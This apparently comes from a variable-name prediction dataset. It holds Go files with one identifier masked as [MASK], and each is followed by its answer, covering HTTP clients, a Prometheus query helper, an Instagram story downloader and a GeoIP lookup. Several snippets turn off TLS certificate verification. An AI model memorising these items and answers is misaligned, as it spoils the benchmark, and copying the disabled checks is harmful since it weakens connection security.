return n.GetDataWithContext(context.WithValue(ctx, ""tracking_number"", trackingNumber), api, params) } // GetDataWithContext is a general-purpose query helper func (n *Ndau) GetDataWithContext(ctx context.Context, api string, params interface{}) ([]byte, error) { return n.DoWithContext(ctx, http.MethodGet, api, params) } // GetData is a general-purpose query helper func (n *Ndau) PostData(api string, params interface{}) ([]byte, error) { ctx := context.Background() trackingNumber := uuid.NewV4().String() return n.PostDataWithContext(context.WithValue(ctx, ""tracking_number"", trackingNumber), api, params) } // PostDataWithContexts is a general-purpose query helper func (n *Ndau) PostDataWithContext(ctx context.Context, api string, params interface{}) ([]byte, error) { return n.DoWithContext(ctx, http.MethodPost, api, params) } // DoWithContext is a general-purpose http POST/GET helper func (n *Ndau) DoWithContext(ctx context.Context, method, api string, params interface{}) ([]byte, error) { trackingNumber := ctx.Value(""tracking_number"") // Create the HTTP request object var err error var req *http.Request endpoint := n.Config.NodeAPI + api // Parse query params [MASK] := url.Values{} switch params.(type) { case map[string]interface{}: for k, v := range params.(map[string]interface{}) { // n.Log.Infof(""%s | Debug %v: type = %v, val = %v"", trackingNumber, k, fmt.Sprintf(""%T"", v), v) switch v.(type) { case int: [MASK] .Add(k, fmt.Sprintf(""%v"", v)) case float64: [MASK] .Add(k, fmt.Sprintf(""%v"", v)) case bool: [MASK] .Add(k, fmt.Sprintf(""%v"", v)) case string: [MASK] .Add(k, fmt.Sprintf(""%v"", v)) // Other cases will be added later, when needed default: [MASK] .Add(k, fmt.Sprintf(""%v"", v)) } } if len( [MASK] ) > 0 { switch strings.ToUpper(method) { case http.MethodGet: endpoint = endpoint + ""?"" + [MASK] .Encode() req, err = http.NewRequest(method, endpoint, nil) case http.MethodPost: req, err = http.NewRequest(method, endpoint, strings.NewReader( [MASK] .Encode())) default: } } case []interface{}: jsonData, err := json.Marshal(params) if err != nil { n.Log.Errorf(""%s | Failed to unmarshall post data. Error %+v"", trackingNumber, err) return nil, err } req, err = http.NewRequest(http.MethodPost, endpoint, bytes.NewBuffer(jsonData)) default: req, err = http.NewRequest(method, endpoint, nil) } if err != nil { n.Log.Errorf(""%s | Failed to new a request object. Error %+v"", trackingNumber, err) return nil, err } //Make the request and parse the response resp, err := n.Client.Do(req) if err != nil { n.Log.Errorf(""%s | Failed to send request to %s. Error %+v"", trackingNumber, endpoint, err) return nil, err } if resp.StatusCode != 200 { n.Log.Errorf(""%s | Failed to read from %s. Status code %d, Msg = "", trackingNumber, endpoint, resp.StatusCode, resp.Status) return nil, fmt.Errorf(resp.Status) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { n.Log.Errorf(""%s | Failed to read from %s. Error %+v"", trackingNumber, endpoint, err) return nil, err } return body, nil } ",queryParams 448,"package main import ( ""context"" ""os"" ""github.com/jkwong888/websphere-liberty-operator/pkg/image"" ""github.com/spf13/pflag"" ""github.com/operator-framework/operator-sdk/pkg/log/zap"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/tools/clientcmd"" logf ""sigs.k8s.io/controller-runtime/pkg/runtime/log"" ) var ( // Leave blank for the default context in your kube config. kubecontext = """" ) var log = logf.Log.WithName(""cmd"") func main() { // Add the zap logger flag set to the CLI. The flag set must // be added before calling pflag.Parse(). pflag.CommandLine.AddFlagSet(zap.FlagSet()) // Use a zap logr.Logger implementation. If none of the zap // flags are configured (or if the zap flag set is not being // used), this defaults to a production zap logger. // // The logger instantiated here can be changed to any logger // implementing the logr.Logger interface. This logger will // be propagated through the whole operator, generating // uniform and structured logs. logf.SetLogger(zap.Logger()) ctx := context.Background() imageName := os.Args[1] clientconfig := clientcmd.NewNonInteractiveDeferredLoadingClientConfig( clientcmd.NewDefaultClientConfigLoadingRules(), &clientcmd.ConfigOverrides{CurrentContext: kubecontext}) config, err := clientconfig.ClientConfig() if err != nil { panic(err) } clientset, err := kubernetes.NewForConfig(config) if err != nil { panic(err) } rawConfig, err := clientconfig.RawConfig() if err != nil { panic(err) } namespace := rawConfig.Contexts[rawConfig.CurrentContext].Namespace log.Info(""connecting to "", ""host"", config.Host) secret := ""my-"" [MASK] , err := image.NewLibertyAppImage(clientset, imageName, namespace, &secret) if err != nil { log.Error(err, ""Error"") panic(err) } digest, err := [MASK] .GetDigest(ctx) if err != nil { panic(err) } log.Info(""Digest is "", ""digest"", *digest) } ",img 449,"package requests import ( ""bytes"" ""crypto/tls"" goJson ""encoding/json"" ""errors"" ""fmt"" ""io"" ""io/ioutil"" ""net/http"" ""net/http/cookiejar"" ""strings"" ""sync"" ""time"" ) var ( argsPool = sync.Pool{ New: func() interface{} { return new(args) }, } httpClientPool = sync.Pool{ New: func() interface{} { return new(http.Client) }, } ) type args struct { allowRedirects bool verify bool timeout time.Duration params map[string]string json map[string]interface{} data map[string]string headers map[string]string } type fakeArgs func(*args) func Get(url string, arg ...fakeArgs) (*Resp, error) { return newRequest(url, ""GET"", arg...) } func Post(url string, arg ...fakeArgs) (*Resp, error) { return newRequest(url, ""POST"", arg...) } func Put(url string, arg ...fakeArgs) (*Resp, error) { return newRequest(url, ""PUT"", arg...) } func Delete(url string, arg ...fakeArgs) (*Resp, error) { return newRequest(url, ""DELETE"", arg...) } func Patch(url string, arg ...fakeArgs) (*Resp, error) { return newRequest(url, ""PATCH"", arg...) } func Options(url string, arg ...fakeArgs) (*Resp, error) { return newRequest(url, ""OPTIONS"", arg...) } func WithParams(params map[string]string) fakeArgs { return func(arg *args) { arg.params = params } } func WithJson(json map[string]interface{}) fakeArgs { return func(arg *args) { arg.json = json } } //func WithData(data map[string]string) fakeArgs { // return func(arg *args) { // arg.data = data // } //} func WithHeaders(headers map[string]string) fakeArgs { return func(arg *args) { arg.headers = headers } } func WithTimeout(timeout time.Duration) fakeArgs { return func(arg *args) { arg.timeout = timeout } } func WithAllowRedirects(allowRedirects bool) fakeArgs { return func(arg *args) { arg.allowRedirects = allowRedirects } } func WithVerify(verify bool) fakeArgs { return func(arg *args) { arg.verify = verify } } func newRequest(url, method string, arg ...fakeArgs) (*Resp, error) { var ( err error body io.Reader [MASK] []byte //dataVal []string req *http.Request resp *http.Response ) ar := argsPool.Get().(*args) defer argsPool.Put(ar) ar.allowRedirects = true ar.verify = true ar.timeout = 0 ar.params = nil ar.json = nil ar.data = nil ar.headers = nil for _, a := range arg { a(ar) } if method == ""GET"" { } else if ar.json != nil { [MASK] , err = goJson.Marshal(ar.json) if err != nil { return nil, err } body = bytes.NewBuffer( [MASK] ) } else if ar.data != nil { //for k, v := range ar.data { // dataVal = append(dataVal, fmt.Sprintf(""%s=%s"", k, v)) //} // //body = strings.NewReader(strings.Join(dataVal, ""&"")) // //fmt.Println(strings.Join(dataVal, ""&"")) var r http.Request r.ParseForm() for k, v := range ar.data { r.Form.Add(k, v) } body = strings.NewReader(r.Form.Encode()) fmt.Println(r.Form.Encode()) } req, err = http.NewRequest(method, url, body) if err != nil { return nil, err } req.Close = true if method == ""GET"" { } else if ar.json != nil { req.Header.Set(""Content-Type"", ""application/json"") } else if ar.data != nil { req.Header.Set(""Content-Type"", ""application/x-www-form-urlencoded"") } if ar.headers != nil { for k, v := range ar.headers { req.Header.Add(k, v) } } if ar.params != nil { q := req.URL.Query() for k, v := range ar.params { q.Add(k, v) } req.URL.RawQuery = q.Encode() } cli := httpClientPool.Get().(*http.Client) defer httpClientPool.Put(cli) cli.Transport = nil cli.CheckRedirect = nil cli.Jar = nil cli.Timeout = ar.timeout if !ar.allowRedirects { cli.CheckRedirect = disableRedirect } if !ar.verify { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } cookieJar, _ := cookiejar.New(nil) cli.Jar = cookieJar cli.Transport = tr } resp, err = cli.Do(req) if err != nil { return nil, err } defer resp.Body.Close() resP := new(Resp) resP.StatusCode = resp.StatusCode resP.header = resp.Header resP.Body, err = ioutil.ReadAll(resp.Body) return resP, err } func disableRedirect(*http.Request, []*http.Request) error { return http.ErrUseLastResponse } type Resp struct { StatusCode int Body []byte header map[string][]string } func (cls *Resp) Header() map[string]string { newHeader := make(map[string]string) for k, v := range cls.header { newHeader[k] = strings.Join(v, "","") } return newHeader } func (cls *Resp) Json(arg ...interface{}) (val map[string]interface{}, err error) { if len(arg) == 0 { err = goJson.Unmarshal(cls.Body, &val) } else if len(arg) == 1 { err = goJson.Unmarshal(cls.Body, arg[0]) } else { return nil, errors.New(""too many arg, max len is 1"") } return } func (cls *Resp) List(arg ...interface{}) (val []interface{}, err error) { if len(arg) == 0 { err = goJson.Unmarshal(cls.Body, &val) } else if len(arg) == 1 { err = goJson.Unmarshal(cls.Body, arg[0]) } else { return nil, errors.New(""too many arg, max len is 1"") } return } func (cls *Resp) JsonAndValueIsString() (val map[string]string, err error) { err = goJson.Unmarshal(cls.Body, &val) return } ",jsonVal 450,"package prometheus import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""net/url"" ""os"" ""strconv"" ""time"" ) type Client struct { Server *url.URL } func onError(err error) { fmt.Println(err) os.Exit(1) } func NewClient(addr string) (*Client, error) { u, err := url.Parse(addr) if err != nil { return nil, err } return &Client{ Server: u, }, nil } type Qdata struct { ResultType string `json:""result_type""` Result []*QueryRangeResponseResult `json:""result""` } type Qreponse struct { Status string `json:""status""` Data *Qdata `json:""data""` } type QueryRangeResponseResult struct { Metric map[string]string `json:""metric""` Value *QueryRangeResponseValue `json:""value""` } type QueryRangeResponseValue []interface{} func (c *Client) Query(query string) (*Qreponse, error) { u, err := url.Parse(fmt.Sprintf(""./api/v1/query?query=%s"", url.QueryEscape(query), )) if err != nil { return nil, err } u = c.Server.ResolveReference(u) req, err := http.NewRequest(""GET"", u.String(), nil) if err != nil { return nil, err } req.Close = true // send JSON to firebase r, err := http.DefaultClient.Do(req) if err != nil { return nil, err } //r, err := http.Get(u.String()) //if err != nil { // return nil, err //} defer r.Body.Close() b, err := ioutil.ReadAll(r.Body) if 400 <= r.StatusCode { return nil, fmt.Errorf(""error response: %s"", string(b)) } resp := &Qreponse{} err = json.Unmarshal(b, resp) if err != nil { return nil, err } return resp, nil } func (v *QueryRangeResponseValue) Value() (float64, error) { s := (*v)[1].(string) f, err := strconv.ParseFloat(s, 64) if err != nil { return 0, err } return f, nil } func (v *QueryRangeResponseValue) Time() time.Time { t := (*v)[0].(float64) return time.Unix(int64(t), 0) } func GetPromContainerCpuUsage(pod_name string,prom_url string,sample int64) (timestamp int64,value float64,err error){ query_str := ""sum by (container_name) (rate(container_cpu_usage_seconds_total{job='kubelet', image!='',container_name!='POD',pod_name='"" + pod_name + ""'}[1m]))"" client,err := NewClient(prom_url) if err != nil { onError(err) } resp,err := client.Query(query_str) if err != nil{ onError(err) } var ( tm int64 vle float64 ) for _, r := range resp.Data.Result { vle, err = r.Value.Value() if err != nil { return 0,0,err } //tm = strconv.FormatInt(r.Value.Time().Unix(),10) tm = r.Value.Time().Unix() } //vl = strconv.FormatFloat(vle,'f', -1, 64) return tm,vle,nil } func GetPromContainerNetworkUsage(pod_name string,prom_url string,sample int64, [MASK] string) (timestamp int64,value float64,err error){ query_str := ""sum by (pod_name) (rate("" + [MASK] + ""{job='kubelet', pod_name='"" + pod_name + ""'}[1m]))"" client,err := NewClient(prom_url) if err != nil { onError(err) } resp,err := client.Query(query_str) if err != nil{ onError(err) } var ( tm int64 vle float64 ) for _, r := range resp.Data.Result { vle, err = r.Value.Value() if err != nil { return 0,0,err } //tm = strconv.FormatInt(r.Value.Time().Unix(),10) tm = r.Value.Time().Unix() } //vl = strconv.FormatFloat(vle,'f', -1, 64) return tm,vle,nil } ",metrics_name 451,"package my_font import ( ""testing"" ""fmt"" ""time"" ""math/rand"" ) func Test_font(t *testing.T) { fmt.Println(New(""aaa"", 10)) fmt.Println(New(""bbb"", 10)) fmt.Println(New(""ccc"", 10)) fmt.Println(New(""ddd"", 10)) fmt.Println(New(""aaa"", 3)) fmt.Println(New(""aaa"", 1000)) } var sum = 0 func print( [MASK] <-chan int, done chan<- struct{}, i int) { for { value := <- [MASK] if value == -1 { break } //fmt.Println(i, value) time.Sleep(time.Duration(rand.Int63() % 10000000)) sum += value } done <- struct{}{} } func TestGoRouten(t *testing.T) { ch := make(chan int, 1003) done := make(chan struct{}, 3) fmt.Println(cap(ch)) for i := 0; i < 1000; i++ { ch <- i+1 } for i := 0; i < 3; i++ { ch <- -1 } close(ch) fmt.Println(""=============step 1==================="") for i := 0; i < 3; i++ { go print(ch, done, i) } fmt.Println(""=============step 2==================="") for i := 0; i < 3; i++ { <-done } fmt.Println(sum) } ",job 452,"// Package igstorydl helps you download Instagram stories. package igstorydl import ( ""fmt"" ""github.com/fatih/color"" ""github.com/siongui/goigfollow"" ""github.com/siongui/goigstorylink"" ""os"" ""os/exec"" ""time"" ) // Call shell command wget to download. The reason to use wget is that wget // supports automatically resume download. So this package only runs on Linux // systems. func Wget(url, filepath string) error { // run shell `wget URL -O filepath` cmd := exec.Command(""wget"", url, ""-O"", filepath) cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr return cmd.Run() } // Print info of the story being downloaded, including username, timestamp, // URL of the story, and saved file path in local machine. func PrintDownloadInfo(username, url, filepath string, timestamp int64) { cc := color.New(color.FgCyan) rc := color.New(color.FgRed) fmt.Print(""Username: "") rc.Println(username) fmt.Print(""Story timestamp: "") rc.Println(FormatTimestamp(timestamp)) fmt.Print(""Download "") cc.Print(url) fmt.Print("" to "") rc.Print(filepath) fmt.Println("" ..."") } func DownloadIGUser(user igstory.IGUser, [MASK] bool) { for _, story := range user.Stories { // BuildOutputFilePath also create dir if not exist p := BuildOutputFilePath(user.Username, story.Url, story.Timestamp) if [MASK] { p = AddTitleInPath(p, user.Title) } // check if file exist if _, err := os.Stat(p); os.IsNotExist(err) { // file not exists PrintDownloadInfo(user.Username, story.Url, p, story.Timestamp) err = Wget(story.Url, p) if err != nil { fmt.Println(err) } } } } // Download unexpired stories of users with unread stories. func DownloadUnread() { users, err := igstory.GetUnreadStories() if err != nil { // return error? or just print? fmt.Println(err) return } for _, user := range users { DownloadIGUser(user, false) } } // Download all unexpired stories func DownloadAll() { users, err := igstory.GetAllStories() if err != nil { // return error? or just print? fmt.Println(err) return } for _, user := range users { DownloadIGUser(user, false) } } // Download highlight stories of following users. func DownloadHighlight(ds_user_id, sessionid, csrftoken string) { rf, err := igfollow.GetFollowing(ds_user_id, ds_user_id, sessionid, csrftoken) if err != nil { // return error? or just print? fmt.Println(err) return } for _, user := range rf.Users { husers, err := igstory.GetUserHighlightStories(user.Pk) if err != nil { // return error? or just print? fmt.Println(err) return } for _, huser := range husers { DownloadIGUser(huser, true) } } } // Given *ds_user_id*, *sessionid*, and *csrftoken* cookies, monitor and // download stories automatically. func MonitorAndDownload(userid, sessionid, csrftoken string) { igstory.SetUserId(userid) igstory.SetSessionId(sessionid) igstory.SetCsrfToken(csrftoken) cc := color.New(color.FgCyan) rc := color.New(color.FgRed) sleepInterval := 30 // seconds count := 0 for { if count == 0 { DownloadAll() cc.Println(""Download all stories finished"") } else { DownloadUnread() cc.Println(""Download unread stories finished"") } count++ count %= 5 rc.Print(time.Now().Format(time.RFC3339)) fmt.Print("": sleep "") cc.Print(sleepInterval) fmt.Println("" second"") time.Sleep(time.Duration(sleepInterval) * time.Second) } } ",isHighlight 453,"package probe import ( ""fmt"" ""github.com/veandco/go-sdl2/sdl"" ""github.com/veandco/go-sdl2/sdl_image"" ""github.com/veandco/go-sdl2/sdl_ttf"" ""go/ast"" ""go/parser"" ""go/token"" ""runtime"" ""strings"" ) var TMAP map[string]uint32 var rootBlocks []*Block const FSIZE = 14 func Init() { TMAP = make(map[string]uint32) TMAP[""uint8""] = 1 TMAP[""bool""] = 1 TMAP[""float32""] = 4 TMAP[""int32""] = 4 TMAP[""uint32""] = 4 TMAP[""uint64""] = 8 TMAP[""int64""] = 8 TMAP[""float64""] = 8 TMAP[""ptr""] = 8 TMAP[""string""] = 16 TMAP[""slice""] = 24 } func GenerateReport(f_ast *ast.File) { ttf.Init() _, [MASK] , _, _ := runtime.Caller(0) path := strings.Replace( [MASK] , ""probe.go"", ""../assets/fonts/Go-Regular.ttf"", 1) font, err := ttf.OpenFont(path, FSIZE) if err != nil { fmt.Printf("">>>>>>>> %v\n"", err) return } for _, dc := range f_ast.Decls { switch tt := dc.(type) { case *ast.GenDecl: if tt.Tok.String() == ""type"" { for _, sp := range tt.Specs { switch ti := sp.(type) { case *ast.TypeSpec: fmt.Printf(""%+v\n"", ti.Name) switch tj := ti.Type.(type) { case *ast.StructType: complete := true fmt.Printf(""\n\nit's a struct...\n"") fmt.Printf(""Fields\n"") stBlk := &Block{ Height: 64, Label: ti.Name.String(), } for _, fld := range tj.Fields.List { fldBlk := &Block{ Height: 64, Label: fld.Names[0].String(), } fmt.Printf(""\t%s %s\n"", fld.Names[0], fld.Type) switch id := fld.Type.(type) { case *ast.Ident: if val, ok := TMAP[id.String()]; ok { fldBlk.Size = val stBlk.Size += fldBlk.Size fldBlk.Label = fmt.Sprintf(""%s %s"", fldBlk.Label, id.String()) } else { fmt.Printf(""\t\t\n >>>%s not found \n"", id.String()) complete = false } case *ast.StarExpr: fldBlk.Size = TMAP[""ptr""] stBlk.Size += fldBlk.Size fldBlk.Label = fmt.Sprintf(""%s ptr"", fldBlk.Label) case *ast.SliceExpr: fldBlk.Size = TMAP[""slice""] stBlk.Size += fldBlk.Size fldBlk.Label = fmt.Sprintf(""%s slice"", fldBlk.Label) case *ast.ArrayType: fldBlk.Size = TMAP[""slice""] stBlk.Size += fldBlk.Size fldBlk.Label = fmt.Sprintf(""%s slice"", fldBlk.Label) default: complete = false fmt.Printf(""\nunknown expr %s\n\n"", id) } stBlk.Children = append(stBlk.Children, fldBlk) } fmt.Printf(""\n\n\nTotal Size: %d, %t\n\n\n"", stBlk.Size, complete) if complete { TMAP[ti.Name.String()] = stBlk.Size } stBlk.Color = Color{0, 255, 255, 255} if len(rootBlocks) == 0 { stBlk.Color = Color{255, 0, 0, 255} } if len(rootBlocks) == 1 { stBlk.Color = Color{0, 255, 0, 255} } if len(rootBlocks) == 2 { stBlk.Color = Color{0, 0, 255, 255} } rootBlocks = append(rootBlocks, stBlk) } } } } surf, _ := sdl.CreateRGBSurface(0, 1024, 768, 32, 0x000000FF, 0x0000FF00, 0x00FF0000, 0xFF000000) rend, _ := sdl.CreateSoftwareRenderer(surf) rend.SetDrawColor(198, 40, 140, 255) rend.FillRect(&sdl.Rect{0, 0, 1024, 768}) var lastX int32 for _, rb := range rootBlocks { stWidth := int32(rb.Size * FSIZE) rect := &sdl.Rect{rb.X + lastX + 30, 25, stWidth, rb.Height} rend.SetDrawColor(rb.Color.R, rb.Color.G, rb.Color.B, rb.Color.A) rend.FillRect(rect) rend.DrawRect(rect) labelSurf, _ := font.RenderUTF8_Blended_Wrapped(rb.Label, sdl.Color{255, 255, 255, 255}, int(stWidth)) labelText, _ := rend.CreateTextureFromSurface(labelSurf) rend.Copy( labelText, &sdl.Rect{0, 0, labelSurf.W, labelSurf.H}, &sdl.Rect{rect.X - 10, rect.Y - labelSurf.H, labelSurf.W, labelSurf.H}, ) var lastXCh int32 = rect.X for _, cd := range rb.Children { fwidth := int32(cd.Size * FSIZE) rend.SetDrawColor(255, 255, 255, 255) rend.DrawRect(&sdl.Rect{lastXCh, 25, fwidth, rb.Height}) labelSurf, _ := font.RenderUTF8_Blended_Wrapped(cd.Label, sdl.Color{255, 255, 255, 255}, int(fwidth)) labelText, _ := rend.CreateTextureFromSurface(labelSurf) rend.Copy( labelText, &sdl.Rect{0, 0, labelSurf.W, labelSurf.H}, &sdl.Rect{lastXCh + 5, rect.Y, labelSurf.W, labelSurf.H}, ) lastXCh += fwidth } lastX = rect.X + stWidth } img.SavePNG(surf, ""test.png"") if tt.Tok.String() == ""var"" { for _, sp := range tt.Specs { switch ti := sp.(type) { case *ast.ValueSpec: fmt.Printf(""%+v\n"", ti) fmt.Printf(""%+v\n"", ti.Names[0]) fmt.Printf(""%+v\n"", sp) } } } } } } func Probe() { Init() _, file, _, ok := runtime.Caller(1) if !ok { panic(""not possible to get to the caller"") } fset := token.NewFileSet() // positions are relative to fset f_ast, err := parser.ParseFile(fset, file, nil, 0) if err != nil { panic(err) } GenerateReport(f_ast) } type Color struct { R uint8 G uint8 B uint8 A uint8 } type Block struct { Size uint32 Label string Color Color Parent *Block Children []*Block Width int32 Height int32 X int32 Y int32 } ",cfile 454,"package main import ( ""bytes"" ""crypto/tls"" ""encoding/json"" ""flag"" ""io/ioutil"" ""net/http"" ""os"" ""strconv"" ""strings"" ""github.com/energieip/swh200-rest2mqtt-go/internal/core"" pkg ""github.com/energieip/common-components-go/pkg/service"" ""github.com/romana/rlog"" ) type arrayString []string func (i *arrayString) String() string { return strings.Join(*i, "","") } func (i *arrayString) Set(value string) error { if value == """" { return nil } var list []string for _, in := range strings.Split(value, "","") { list = append(list, in) } *i = arrayString(list) return nil } func (i *arrayString) Get() interface{} { return []string(*i) } type arrayInt []int func (i *arrayInt) Set(val string) error { if val == """" { return nil } var list []int for _, in := range strings.Split(val, "","") { i, err := strconv.Atoi(in) if err != nil { return err } list = append(list, i) } *i = arrayInt(list) return nil } func (i *arrayInt) Get() interface{} { return []int(*i) } func (i *arrayInt) String() string { var list []string for _, in := range *i { list = append(list, strconv.Itoa(in)) } return strings.Join(list, "","") } func main() { var confFile string var newIP string var [MASK] string flag.CommandLine = flag.NewFlagSet(os.Args[0], flag.ExitOnError) flag.StringVar(&confFile, ""config"", """", ""Specify an alternate configuration file."") flag.StringVar(&confFile, ""c"", """", ""Specify an alternate configuration file."") flag.StringVar(&newIP, ""ip"", """", ""IP"") flag.StringVar(&newIP, ""i"", """", ""IP"") flag.StringVar(& [MASK] , ""mac"", """", ""mac address"") flag.StringVar(& [MASK] , ""m"", """", ""mac address"") flag.Parse() conf, err := pkg.ReadServiceConfig(confFile) if err != nil { rlog.Error(""Cannot parse configuration file "" + err.Error()) os.Exit(1) } os.Setenv(""RLOG_LOG_LEVEL"", conf.LogLevel) os.Setenv(""RLOG_LOG_NOTIME"", ""yes"") rlog.UpdateEnv() user := core.Device{ Mac: strings.ToUpper( [MASK] ), IP: newIP, } requestBody, err := json.Marshal(user) if err != nil { rlog.Error(err.Error()) os.Exit(1) } url := ""https://"" + conf.InternalAPI.IP + "":"" + conf.InternalAPI.Port + ""/v1.0/driver/new"" req, _ := http.NewRequest(""POST"", url, bytes.NewBuffer(requestBody)) transCfg := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // ignore expired SSL certificates DisableKeepAlives: true, } req.Close = true client := &http.Client{Transport: transCfg} resp, err := client.Do(req) if resp != nil { defer resp.Body.Close() } if err != nil { rlog.Error(err.Error()) os.Exit(1) } body, err := ioutil.ReadAll(resp.Body) rlog.Info(""Device "" + [MASK] + "" successfully added "" + string(body)) } ",newMac 455,"// Package ipfsgeoip provides geoip information lookup using an IPFS-hosted // GeoLite2 database. The database is split to allow efficient lookups and it // does not need to be fully downloaded for every lookup. // // This package is a fork of ipfs-geoip (Javascript). package ipfsgeoip import ( ""context"" ""encoding/json"" ""errors"" ""fmt"" ""net"" ""github.com/ipfs/go-cid"" format ""github.com/ipfs/go-ipld-format"" ""github.com/ipfs/go-merkledag"" ) const geoIPRoot = ""Qmbt1YbZAhMoqo7r1t6Y5EJrYGVRgcaisNAZhLeJY6ehfg"" var rootCid cid.Cid func init() { var err error rootCid, err = cid.Decode(geoIPRoot) if err != nil { panic(err) } } type nodeData struct { Type string `json:""type""` Mins []uint `json:""mins""` Data []struct { Min uint `json:""min""` Data GeoIPInfo `json:""data""` } `json:""data""` } // GeoIPInfo provides geographical information about an IP address. type GeoIPInfo struct { CountryName string CountryCode string RegionCode string City string PostalCode string Latitude float64 Longitude float64 } // UnmarshalJSON decodes geoip-information objects as they // are stored in the database. func ( [MASK] *GeoIPInfo) UnmarshalJSON(b []byte) error { var nZero int err := json.Unmarshal(b, &nZero) if err == nil { return nil } var array []json.RawMessage err = json.Unmarshal(b, &array) if err != nil { return fmt.Errorf(""unmarshal data: %w"", err) } if len(array) != 7 { return errors.New(""wrong data lenght"") } err = json.Unmarshal(array[0], & [MASK] .CountryName) if err != nil { return errors.New(""error unmarshaling CountryName"") } err = json.Unmarshal(array[1], & [MASK] .CountryCode) if err != nil { return errors.New(""error unmarshaling CountryCode"") } err = json.Unmarshal(array[2], & [MASK] .RegionCode) if err != nil { return errors.New(""error unmarshaling RegionCode"") } err = json.Unmarshal(array[3], & [MASK] .City) if err != nil { return errors.New(""error unmarshaling CityCode"") } err = json.Unmarshal(array[4], & [MASK] .PostalCode) if err != nil { return errors.New(""error unmarshaling PostalCode"") } err = json.Unmarshal(array[5], & [MASK] .Latitude) if err != nil { return errors.New(""error unmarshaling Latitude"") } err = json.Unmarshal(array[6], & [MASK] .Longitude) if err != nil { return errors.New(""error unmarshaling Latitude"") } return nil } // IPLocator obtains geo information for IP addresses by using a GeoLite2 // database hosted on IPFS. type IPLocator struct { ng format.NodeGetter } // NewIPLocator returns an IPLocator that uses the given NodeGetter. func NewIPLocator(ng format.NodeGetter) *IPLocator { return &IPLocator{ ng: ng, } } // Lookup provides GeoIP information for a given address in string form. Only // IPv4 addresses are supported. func (l *IPLocator) Lookup(ctx context.Context, addr string) (GeoIPInfo, error) { ip, err := ipFromString(addr) if err != nil { return GeoIPInfo{}, err } if !ip.IsGlobalUnicast() { return GeoIPInfo{}, errors.New(""IP is not a global unicast address"") } lookFor := ip4ToUint(ip) curNode, err := l.ng.Get(ctx, rootCid) if err != nil { return GeoIPInfo{}, err } for { protonode, err := merkledag.DecodeProtobuf(curNode.RawData()) if err != nil { return GeoIPInfo{}, err } var data nodeData err = json.Unmarshal(protonode.Data(), &data) if err != nil { return GeoIPInfo{}, err } switch data.Type { case ""Node"": // The first min will always be lower than our number child := -1 for _, m := range data.Mins { if m > lookFor { break } child++ } links := curNode.Links() if len(links) <= child { return GeoIPInfo{}, errors.New(""not enough links in node!?"") } nextCid := links[child].Cid curNode, err = l.ng.Get(ctx, nextCid) if err != nil { return GeoIPInfo{}, err } case ""Leaf"": child := -1 for _, m := range data.Data { if m.Min > lookFor { break } child++ } entry := data.Data[child].Data return entry, nil default: return GeoIPInfo{}, errors.New(""unknown node type"") } } } func ipFromString(addr string) (net.IP, error) { ip := net.ParseIP(addr) if ip == nil { return ip, errors.New(""could not parse IP"") } ip = ip.To4() if ip == nil { return ip, errors.New(""IP is not an IPv4"") } return ip, nil } // FIXME: in the end, this relies on Go internal representation // of IPs inside net.IP. func ip4ToUint(ip net.IP) uint { n := uint(0) for b := 0; b < 4; b++ { n = n << 8 n += uint(ip[b]) } return n } ",gipi 456,"// +build small /* http://www.apache.org/licenses/LICENSE-2.0.txt Copyright 2017 janczer Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package entropy import ( ""os"" ""testing"" ""github.com/intelsdi-x/snap-plugin-lib-go/v1/plugin"" . ""github.com/smartystreets/goconvey/convey"" ) var srcMockFile = ""/tmp/mock_entropy_avail"" var srcMockFileValue = []byte(""444\n"") func createMockFile() { deleteMockFile() f, _ := os.Create(srcMockFile) f.Write(srcMockFileValue) f.Close() } func createEmptyMockFile() { srcMockFileValue = []byte("""") createMockFile() } func deleteMockFile() { os.Remove(srcMockFile) } func TestEntropyCollector(t *testing.T) { ec := EntropyCollector{} createMockFile() Convey(""Test EntropyCollector"", t, func() { Convey(""Collect Entropy"", func() { entropyInfo = srcMockFile [MASK] := []plugin.Metric{plugin.Metric{}} mts, err := ec.CollectMetrics( [MASK] ) So(mts, ShouldNotBeEmpty) So(err, ShouldBeNil) So(mts[0].Data, ShouldEqual, 444) }) }) Convey(""Test GetMetricTypes"", t, func() { Convey(""Collect String"", func() { mt, err := ec.GetMetricTypes(nil) So(err, ShouldBeNil) So(len(mt), ShouldEqual, 1) }) }) Convey(""Test GetConfigPolicy"", t, func() { Convey(""No error returned"", func() { _, err := ec.GetConfigPolicy() So(err, ShouldBeNil) }) }) Convey(""Test getEntropy"", t, func() { Convey(""No error returned"", func() { e, err := getEntropy() So(err, ShouldBeNil) So(e, ShouldBeGreaterThan, 0) So(e, ShouldEqual, 444) }) Convey(""File not found"", func() { deleteMockFile() e, err := getEntropy() So(e, ShouldEqual, 0) So(err, ShouldNotBeNil) }) Convey(""Empty file"", func() { createEmptyMockFile() e, err := getEntropy() So(e, ShouldEqual, 0) So(err, ShouldNotBeNil) }) }) deleteMockFile() } ",metrics 457,"package main import ( ""bufio"" ""context"" ""fmt"" ""html/template"" ""io/ioutil"" ""log"" ""math/rand"" ""net/http"" ""os"" ""path/filepath"" ""regexp"" // ""regexp"" ""strconv"" ""strings"" ""time"" ""github.com/catcombo/go-staticfiles"" ""github.com/disintegration/imaging"" // ""github.com/gin-contrib/sessions"" // ""github.com/gin-contrib/sessions/cookie"" ""github.com/gin-gonic/gin"" ""github.com/go-redis/redis/v8"" ""github.com/goccy/go-json"" ""github.com/livekit/protocol/livekit"" lksdk ""github.com/livekit/server-sdk-go"" ""github.com/skip2/go-qrcode"" // ""gopkg.in/ldap.v2"" ) type LivekitServerConfig struct { Host string ApiKey string ApiSecret string } type RoomMetaData struct { RealName string `json:""real_name""` Host string `json:""host""` } type PMR struct { ID string `json:""id""` Name string `json:""name""` Host string `json:""host""` HostName string `json:""host_name""` Passcode string `json:""passcode""` CreationTime int32 `json:""creation_time""` } type Login struct { User string `json:""user"" 